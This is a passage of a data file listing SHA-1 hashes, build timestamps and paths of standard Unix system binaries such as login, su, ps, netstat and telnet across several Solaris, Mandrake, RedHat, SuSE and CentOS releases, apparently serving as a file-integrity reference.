Aug 14 12:26:37 2003 /bin/login [Mandrake 9.2] +92F8FC3E9117F233803512467AB5177E56C7EE56 Mon Aug 18 16:28:06 2003 /bin/find [Mandrake 9.2] +66DD933F3016335A3EF9CB79A410453BAE5D0F4B Wed Sep 3 08:45:34 2003 /usr/bin/telnet [Mandrake 9.2] +002FC72FD425F78AE50BE909406925D365771DF0 Mon Jul 7 16:01:35 2003 /bin/sh [Mandrake 9.2] +92F8FC3E9117F233803512467AB5177E56C7EE56 Mon Aug 18 16:28:06 2003 /usr/bin/find [Mandrake 9.2] +21202144A414DB48BF4375C91469F48ACD637964 Fri Aug 29 14:21:05 2003 /sbin/modinfo [Mandrake 9.2] +4C593EF78D4CB4A5B9A74A51803FEAAABF78FC65 Tue Jul 15 21:14:36 2003 /usr/sbin/xinetd [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/in.ftpd [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/in.proftpd [Mandrake 9.2] + +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /bin/find [Solaris 2.9 Generic_122300-57] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /usr/bin/find [Solaris 2.9 Generic_122300-57] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /bin/ls [Solaris 2.9 Generic_122300-57] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /usr/bin/ls [Solaris 2.9 Generic_122300-57] +BB95633DAE430C11071602962D09624C1D7EE943 Sat Apr 6 22:55:34 2002 /usr/bin/sparcv9/ls [Solaris 2.9 Generic_122300-57] +34174F5C3EF0844676AEC8751A41C39968633E5C Sat Apr 6 22:59:18 2002 /usr/sbin/modinfo [Solaris 2.9 Generic_122300-57] +D420D0D50AE151063A670D3B025D90CA0A08117D Sat Apr 6 23:02:03 2002 /usr/sbin/arp [Solaris 2.9 Generic_122300-57] +1A47EE8059E33D1BF8C062320FA60AEDB69C47D2 Sat Apr 6 23:02:06 2002 /usr/sbin/in.rlogind [Solaris 2.9 Generic_122300-57] +AF56C1CE8765671A069F417B4B50088EE219B05A Sat Apr 6 23:02:06 2002 /usr/sbin/in.rshd [Solaris 2.9 Generic_122300-57] +950715ABC9A55EAB0281DC0653ECD10D59DAEB50 Sat Apr 6 23:26:46 2002 /usr/ucb/ls [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /bin/netstat [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /usr/bin/netstat [Solaris 2.9 Generic_122300-57] +0AA8C6ABE3810F5B8CF26A40306358C04CE843DF Mon Dec 9 20:55:56 2002 /usr/sbin/in.tftpd [Solaris 2.9 Generic_122300-57] +25F7FC99B5B0F01A6AA1A0D7B2B495330C4C2E99 Thu Mar 6 04:37:19 2003 /usr/sbin/in.telnetd [Solaris 2.9 Generic_122300-57] +CAEC4FCB85518991F772011CC50CDAE80260FB56 Mon Sep 8 06:47:36 2003 /usr/bin/sparcv7/ps [Solaris 2.9 Generic_122300-57] +800DBC8FB83CB036CED9E17835C8DE45386894E4 Mon Sep 8 06:47:36 2003 /usr/bin/sparcv9/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /bin/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /bin/w [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/bin/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/bin/w [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/ucb/ps [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /bin/telnet [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /usr/bin/telnet [Solaris 2.9 Generic_122300-57] +2C626604616B384F27AB7D365886EC938590585D Fri Dec 22 18:19:51 2006 /bin/rm [Solaris 2.9 Generic_122300-57] +2C626604616B384F27AB7D365886EC938590585D Fri Dec 22 18:19:51 2006 /usr/bin/rm [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /sbin/su [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/ucb/w [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /usr/ucb/telnet [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /usr/ucb/netstat [Solaris 2.9 Generic_122300-57] +7327B91B54D00D04DDFA297300C19B6B3215D65C Thu Jul 16 19:44:13 2009 /sbin/sh [Solaris 2.9 Generic_122300-57] +1CD7180A217D075BFFD7DDC73EDCCED26F51877F Thu Jul 16 19:44:14 2009 /bin/sh [Solaris 2.9 Generic_122300-57] +1CD7180A217D075BFFD7DDC73EDCCED26F51877F Thu Jul 16 19:44:14 2009 /usr/bin/sh [Solaris 2.9 Generic_122300-57] +DB18BBEEAE84057CE17058EA530840B420726984 Thu Oct 15 18:52:12 2009 /usr/bin/sparcv7/w [Solaris 2.9 Generic_122300-57] +E96A134867CBBAC9DF581173F1C96D7D1C587DA1 Thu Oct 15 18:52:13 2009 /usr/bin/sparcv9/w [Solaris 2.9 Generic_122300-57] +07B709EDFB80A465C801ACA888BE558C30919CFB Fri Feb 19 00:43:48 2010 /bin/login [Solaris 2.9 Generic_122300-57] +07B709EDFB80A465C801ACA888BE558C30919CFB Fri Feb 19 00:43:48 2010 /usr/bin/login [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /bin/su [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /usr/bin/su [Solaris 2.9 Generic_122300-57] +6DF004818689E5F2B051DBEA2AC61548650DCB86 Tue Nov 16 14:30:17 2010 /usr/sbin/in.ftpd [Solaris 2.9 Generic_122300-57] +1DB5844141456D33DFCA29715A95DC10CED5A7D0 Wed Feb 16 13:35:34 2011 /usr/sbin/inetd [Solaris 2.9 Generic_122300-57] + +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/ps [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/w [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/ps [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/w [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/ps [Solaris 2.8 Generic_127721-03] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /bin/ls [Solaris 2.8 Generic_127721-03] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /usr/bin/ls [Solaris 2.8 Generic_127721-03] +7005902DED0729B0D8FD779776C9960E1D325B55 Wed Jan 5 23:58:41 2000 /usr/bin/sparcv9/ls [Solaris 2.8 Generic_127721-03] +72D4298093B2D3462B845B9D02C510E929D8BCCC Wed Jan 5 23:59:21 2000 /usr/sbin/modinfo [Solaris 2.8 Generic_127721-03] +067E63DE5F6214676CB4365B52D595945AE97407 Thu Jan 6 00:01:56 2000 /usr/sbin/arp [Solaris 2.8 Generic_127721-03] +13D6EF6B6BFD3CB7504B85268E60D065718DCF79 Thu Jan 6 00:01:58 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic_127721-03] +A6B18856F46CA11062DF0ED3AB5703F954ECC676 Thu Jan 6 00:25:47 2000 /usr/bin/sparcv7/w [Solaris 2.8 Generic_127721-03] +323BE0CD635205AC53B69E6881C965C35E84DB5E Thu Jan 6 00:26:03 2000 /usr/bin/sparcv9/w [Solaris 2.8 Generic_127721-03] +CBE9EB8E6B177427966B1A90D64FDAF2AABF388B Thu Jan 6 00:32:28 2000 /usr/ucb/ls [Solaris 2.8 Generic_127721-03] +A8A04A41CAB387985D5333B245455E5DFD3A1F88 Thu May 24 23:55:57 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic_127721-03] +CB668D194216860242216761C4917D47C9B777C0 Fri Jul 27 21:11:44 2001 /bin/find [Solaris 2.8 Generic_127721-03] +CB668D194216860242216761C4917D47C9B777C0 Fri Jul 27 21:11:44 2001 /usr/bin/find [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /bin/netstat [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /usr/bin/netstat [Solaris 2.8 Generic_127721-03] +D3D7A2DD9825C98D3FD241122F373327A03BBE7E Sat Mar 26 03:42:12 2005 /usr/sbin/in.telnetd [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /bin/telnet [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /usr/bin/telnet [Solaris 2.8 Generic_127721-03] +F03B7A36BB1FFF5FB22F04D9C8A7D115A59CA723 Sun Jan 14 18:55:41 2007 /bin/rm [Solaris 2.8 Generic_127721-03] +F03B7A36BB1FFF5FB22F04D9C8A7D115A59CA723 Sun Jan 14 18:55:41 2007 /usr/bin/rm [Solaris 2.8 Generic_127721-03] +E8130AFC15EDD9DAB7FEB88FAF1B60FC101D6EEE Thu Mar 22 15:44:09 2007 /usr/bin/sparcv7/ps [Solaris 2.8 Generic_127721-03] +35F8C367F8D20870C63C4B539750E94A0DEBE64B Thu Mar 22 15:44:09 2007 /usr/bin/sparcv9/ps [Solaris 2.8 Generic_127721-03] +A3138279F8A9AB24F572D91D8306DCEB6F7E6B50 Mon Jun 11 16:56:41 2007 /usr/sbin/in.ftpd [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /sbin/su [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/w [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /usr/ucb/telnet [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /usr/ucb/netstat [Solaris 2.8 Generic_127721-03] +15EE04241933197D6C441463D346101447454A87 Tue Apr 8 18:22:52 2008 /sbin/sh [Solaris 2.8 Generic_127721-03] +650FEAD4F2388D7C07BF47EC4BEAEE6B4AF524D6 Tue Apr 8 18:22:52 2008 /bin/sh [Solaris 2.8 Generic_127721-03] +650FEAD4F2388D7C07BF47EC4BEAEE6B4AF524D6 Tue Apr 8 18:22:52 2008 /usr/bin/sh [Solaris 2.8 Generic_127721-03] +8E2FE6165F4AAA354AC91D4DB54EC25E5BC3AE0C Tue Jul 8 15:37:27 2008 /usr/sbin/in.tftpd [Solaris 2.8 Generic_127721-03] +68867C11C7708122935BD117C22EF3AFC5CC3110 Fri Feb 13 22:38:33 2009 /bin/login [Solaris 2.8 Generic_127721-03] +68867C11C7708122935BD117C22EF3AFC5CC3110 Fri Feb 13 22:38:33 2009 /usr/bin/login [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /bin/su [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /usr/bin/su [Solaris 2.8 Generic_127721-03] +C0F7BCEB0FCFA44DE9C2687CD2B94C98444ED581 Thu Mar 12 21:35:15 2009 /usr/sbin/inetd [Solaris 2.8 Generic_127721-03] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.5 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.5 x86_64] +748CECD7B02E6957D932BA90F7D990A8F1FD0A73 Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.5 x86_64] +0A3503F446248683BE2703D8EEA27CA25A67F1F2 Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.5 x86_64] +D2F14175B62192186F706E193FD0EB7C31CD962E Thu Nov 19 14:21:03 2009 /sbin/arp [RedHat Enterprise 5.5 x86_64] +59F5D0DAA4EC04BB4CA8C5FF5D1F1195B26C686E Thu Nov 19 14:21:03 2009 /bin/netstat [RedHat Enterprise 5.5 x86_64] +0F305BCBBC9561BC47AD01F22A38F44964622827 Tue Dec 15 19:36:55 2009 /sbin/modinfo [RedHat Enterprise 5.5 x86_64] +A560799A944C6CFE572A3F683031F8206812DFF3 Thu Jan 7 10:25:51 2010 /bin/login [RedHat Enterprise 5.5 x86_64] +05FE6696D113C606F62191BB30C7F435AF029025 Tue Feb 9 09:59:28 2010 /usr/bin/w [RedHat Enterprise 5.5 x86_64] +BA88642C5DED9BD53E00E1B7DBB7058707DFEEA9 Tue Feb 9 09:59:28 2010 /bin/ps [RedHat Enterprise 5.5 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Tue Feb 23 09:53:57 2010 /bin/su [RedHat Enterprise 5.5 x86_64] +F4F6EC2D52984D5FAE013F34BE3BCDC931A59636 Tue Feb 23 09:54:02 2010 /bin/rm [RedHat Enterprise 5.5 x86_64] +2234D4656C881EA863D032809B52A3171DDCEF86 Tue Feb 23 09:54:02 2010 /bin/ls [RedHat Enterprise 5.5 x86_64] +7CE222EE5310BC2D3164A23A87CBCB90C4A67CDB Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.5 x86_64] + +653F929CFB6DD275736B887C5D6C460D437A9650 Sat Feb 21 01:23:19 2009 /usr/bin/telnet [SuSE Enterprise 11.1 x86_64] +8985A2CB3E370CE2872555A7A991C7D8590D1DF7 Sat Feb 21 07:45:58 2009 /usr/bin/opieftpd [SuSE Enterprise 11.1 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Sat Feb 21 07:49:50 2009 /bin/su [SuSE Enterprise 11.1 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Sat Feb 21 07:49:50 2009 /bin/rm [SuSE Enterprise 11.1 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Sat Feb 21 07:49:50 2009 /bin/ls [SuSE Enterprise 11.1 x86_64] +6B3F64E95EEEAEA23CF5B36E649C64F4AF94F5DB Wed May 5 13:59:15 2010 /sbin/modinfo [SuSE Enterprise 11.1 x86_64] +EA2317DA923E34CA431C6E4266DF37C4A4AA9640 Wed May 5 14:01:33 2010 /usr/bin/find [SuSE Enterprise 11.1 x86_64] +BEEAB7307CC9B415581C60B12EF08E634A198998 Wed May 5 14:02:41 2010 /usr/bin/w [SuSE Enterprise 11.1 x86_64] +DB3A42F99442B3CFFA83541FFE7EE4E685850B66 Wed May 5 14:02:41 2010 /bin/ps [SuSE Enterprise 11.1 x86_64] +9168D1477DCC15F20A94E7472A7316C838FA9E03 Wed May 5 14:03:34 2010 /sbin/arp [SuSE Enterprise 11.1 x86_64] +3199CC970AF6BE3D23A48D726D4DBE2208BF56A6 Wed May 5 14:03:34 2010 /bin/netstat [SuSE Enterprise 11.1 x86_64] +3A66D9D9FEBA2C79081293F8EEE99A2A03381BEC Wed May 5 14:08:18 2010 /usr/sbin/xinetd [SuSE Enterprise 11.1 x86_64] +0E8AAD78A1AF5CEE13F761A08A2511C76B688253 Sat May 8 09:35:29 2010 /bin/login [SuSE Enterprise 11.1 x86_64] +A5BD0049BF6B6DF94565089EA7B2E74DC08577D4 Wed May 5 14:02:20 2010 /bin/sh [SuSE Enterprise 11.1 x86_64] +A5BD0049BF6B6DF94565089EA7B2E74DC08577D4 Wed May 5 14:02:20 2010 /usr/bin/sh [SuSE Enterprise 11.1 x86_64] +245C64AB0E7D074B2BA9460EA687EBBA116F2F60 Wed May 5 14:08:18 2010 /usr/sbin/rcxinetd [SuSE Enterprise 11.1 x86_64] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_127127-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_127127-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_127127-11] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_127127-11] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_127127-11] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_127127-11] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_127127-11] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_127127-11] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_127127-11] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_127127-11] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_127127-11] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_127127-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_127127-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_127127-11] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_127127-11] +DE1C87DE0794F44A7DDB16E1BF256D366218CB32 Mon Sep 17 19:06:34 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_127127-11] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_127127-11] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_127127-11] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_127127-11] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_127127-11] + +534D354DC1F0581E8834D00B8F977FD99449DDFF Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.2 x86_64] +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.2 x86_64] +E5085AA289911B515AED42DC50EE9FB97456A2A5 Sat May 24 15:31:16 2008 /bin/su [CentOS 5.2 x86_64] +DB2AFCA1FCECF12761DEFEFA85AA76A3C4EFB1CA Sat May 24 15:31:19 2008 /bin/rm [CentOS 5.2 x86_64] +1DB7B7575F570A8F87BDF5963EA687B0D6180350 Sat May 24 15:31:19 2008 /bin/ls [CentOS 5.2 x86_64] +3EE2027FDFBFF023F4C0E03664B1D45527E4A1C5 Sat May 24 16:42:16 2008 /usr/bin/w [CentOS 5.2 x86_64] +CDA4DD5A205FB0DA1BF385C433C9129CCD8E2937 Sat May 24 16:42:16 2008 /bin/ps [CentOS 5.2 x86_64] +839726029C480E41F8799692D54FA337EE1CFB71 Sat May 24 19:41:12 2008 /sbin/modinfo [CentOS 5.2 x86_64] +2A6D4C00374DF6E4A2636279E185E014C8D51E50 Sat May 24 23:13:51 2008 /bin/login [CentOS 5.2 x86_64] +AF576DB6272BEF1598FB5DF80DE26EB8768C5844 Sun May 25 06:26:25 2008 /sbin/arp [CentOS 5.2 x86_64] +99EEA5EA4CDDD58EF45E34CEBDF84BF7EBED2DE7 Sun May 25 06:26:25 2008 /bin/netstat [CentOS 5.2 x86_64] +A2D662DDF317214CA7F356221089BF69CA384118 Sat May 24 21:18:31 2008 /bin/sh [CentOS 5.2 x86_64] + +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/ps [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/w [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/ps [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/w [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/ps [Solaris 2.8 Generic] +F5023BF304DB8A9E22F78B40C800843ED3FAFA8D Wed Jan 5 23:53:54 2000 /usr/sbin/in.ftpd [Solaris 2.8 Generic] +107624189ABABB46992E2A5B436BC739F34F5CDE Wed Jan 5 23:54:36 2000 /bin/find [Solaris 2.8 Generic] +107624189ABABB46992E2A5B436BC739F34F5CDE Wed Jan 5 23:54:36 2000 /usr/bin/find [Solaris 2.8 Generic] +B23D4EE9FF0E9CBB9738D612BAB8847A46C73BAD Wed Jan 5 23:57:23 2000 /bin/login [Solaris 2.8 Generic] +B23D4EE9FF0E9CBB9738D612BAB8847A46C73BAD Wed Jan 5 23:57:23 2000 /usr/bin/login [Solaris 2.8 Generic] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /bin/ls [Solaris 2.8 Generic] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /usr/bin/ls [Solaris 2.8 Generic] +7005902DED0729B0D8FD779776C9960E1D325B55 Wed Jan 5 23:58:41 2000 /usr/bin/sparcv9/ls [Solaris 2.8 Generic] +72D4298093B2D3462B845B9D02C510E929D8BCCC Wed Jan 5 23:59:21 2000 /usr/sbin/modinfo [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /bin/netstat [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /usr/bin/netstat [Solaris 2.8 Generic] +067E63DE5F6214676CB4365B52D595945AE97407 Thu Jan 6 00:01:56 2000 /usr/sbin/arp [Solaris 2.8 Generic] +F9A5344600B92BFB445B427B3D224A0261F1BAFB Thu Jan 6 00:01:22 2000 /bin/rm [Solaris 2.8 Generic] +F9A5344600B92BFB445B427B3D224A0261F1BAFB Thu Jan 6 00:01:22 2000 /usr/bin/rm [Solaris 2.8 Generic] +13D6EF6B6BFD3CB7504B85268E60D065718DCF79 Thu Jan 6 00:01:58 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic] +7D08CEBF8A579F33E5021AB34423376931AFBD37 Thu Jan 6 00:01:59 2000 /usr/sbin/in.telnetd [Solaris 2.8 Generic] +D75143D78DC119A91C563F61CF0764DBB90C3FC6 Thu Jan 6 00:01:59 2000 /usr/sbin/inetd [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /bin/telnet [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /usr/bin/telnet [Solaris 2.8 Generic] +A6B18856F46CA11062DF0ED3AB5703F954ECC676 Thu Jan 6 00:25:47 2000 /usr/bin/sparcv7/w [Solaris 2.8 Generic] +323BE0CD635205AC53B69E6881C965C35E84DB5E Thu Jan 6 00:26:03 2000 /usr/bin/sparcv9/w [Solaris 2.8 Generic] +CBE9EB8E6B177427966B1A90D64FDAF2AABF388B Thu Jan 6 00:32:28 2000 /usr/ucb/ls [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /bin/su [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /usr/bin/su [Solaris 2.8 Generic] +92348DB2F4BB5FDED5E8D341E0428783577CDC9A Thu Mar 16 10:53:49 2000 /usr/bin/sparcv7/ps [Solaris 2.8 Generic] +B5AE96E10D6B525FB468617A380BB02E4AED12B0 Thu Mar 16 10:53:50 2000 /usr/bin/sparcv9/ps [Solaris 2.8 Generic] +E04AB38D6A4A2DAC9682B0D9D9FBEFBCADD0BAE3 Fri May 26 11:32:27 2000 /sbin/sh [Solaris 2.8 Generic] +1513513973F2F2954EB4E44736F50DB2653E5C25 Fri May 26 11:32:29 2000 /bin/sh [Solaris 2.8 Generic] +1513513973F2F2954EB4E44736F50DB2653E5C25 Fri May 26 11:32:29 2000 /usr/bin/sh [Solaris 2.8 Generic] 